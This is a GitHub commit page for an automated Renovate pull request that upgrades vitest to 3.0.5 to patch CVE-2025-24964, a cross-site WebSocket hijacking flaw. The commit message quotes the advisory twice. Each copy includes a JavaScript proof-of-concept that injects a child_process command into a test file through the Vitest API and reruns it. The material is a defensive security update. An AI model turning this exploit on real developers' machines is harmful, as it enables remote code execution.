Skip to content

Commit

Permalink
Update dependency vitest to v3.0.5 [SECURITY] (#45)
Browse files Browse the repository at this point in the history
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest)
([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest))
| [`3.0.4` ->
`3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.4/3.0.5) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.4/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.4/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

### Summary
Arbitrary remote Code Execution when accessing a malicious website while
Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH)
attacks.

### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest
UI enables it), Vitest starts a WebSocket server. This WebSocket server
did not check Origin header and did not have any authorization mechanism
and was vulnerable to CSWSH attacks.

https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has `saveTestFile` API that can edit a test file
and `rerun` API that can rerun the tests. An attacker can execute
arbitrary code by injecting a code in a test file by the `saveTestFile`
API and then running that file by calling the `rerun` API.

https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have
it if you are running on Windows), that application will be executed.

```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
```

### Impact
This vulnerability can result in remote code execution for users that
are using Vitest serve API.

---

### Vitest allows Remote Code Execution when accessing a malicious
website while Vitest API server is listening
[CVE-2025-24964](https://nvd.nist.gov/vuln/detail/CVE-2025-24964) /
[GHSA-9crc-q9x8-hgqq](https://redirect.github.com/advisories/GHSA-9crc-q9x8-hgqq)

<details>
<summary>More information</summary>

#### Details
##### Summary
Arbitrary remote Code Execution when accessing a malicious website while
Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH)
attacks.

##### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest
UI enables it), Vitest starts a WebSocket server. This WebSocket server
did not check Origin header and did not have any authorization mechanism
and was vulnerable to CSWSH attacks.

https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has `saveTestFile` API that can edit a test file
and `rerun` API that can rerun the tests. An attacker can execute
arbitrary code by injecting a code in a test file by the `saveTestFile`
API and then running that file by calling the `rerun` API.

https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

##### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have
it if you are running on Windows), that application will be executed.

```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
```

##### Impact
This vulnerability can result in remote code execution for users that
are using Vitest serve API.

#### Severity
- CVSS Score: 9.6 / 10 (Critical)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`

#### References
-
[https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-24964](https://nvd.nist.gov/vuln/detail/CVE-2025-24964)
-
[https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc)
-
[https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241](https://redirect.github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241)
-
[https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383](https://redirect.github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383)
-
[https://github.com/vitest-dev/vitest](https://redirect.github.com/vitest-dev/vitest)
-
[https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46](https://redirect.github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46)
-
[https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76](https://redirect.github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76)
- [https://vitest.dev/config/#api](https://vitest.dev/config/#api)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-9crc-q9x8-hgqq) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>vitest-dev/vitest (vitest)</summary>

###
[`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)

[Compare
Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

##### 🚀 Features

- **ui**: Insert message "no tests found" in ui - by
[@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in
[https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366)
[<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)

##### 🐞 Bug Fixes

- Validate websocket request - by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317)
[<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
- Don't toggle cli cursor on non-TTY - by
[@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in
[https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336)
[<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
- **vite-node**: Differentiate file url with hash and query - by
[@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in
[https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365)
[<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)

##### [View changes on
GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/delpa-org/redirection-server).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoibWFzdGVyIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
  • Loading branch information
renovate[bot] authored Feb 9, 2025
1 parent cf4f510 commit 441df12
Show file tree
Hide file tree
Showing 2 changed files with 42 additions and 68 deletions.
108 changes: 41 additions & 67 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,6 @@
"tsx": "4.19.2",
"typescript": "5.7.3",
"typescript-eslint": "8.22.0",
"vitest": "3.0.4"
"vitest": "3.0.5"
}
}

0 comments on commit 441df12

Please sign in to comment.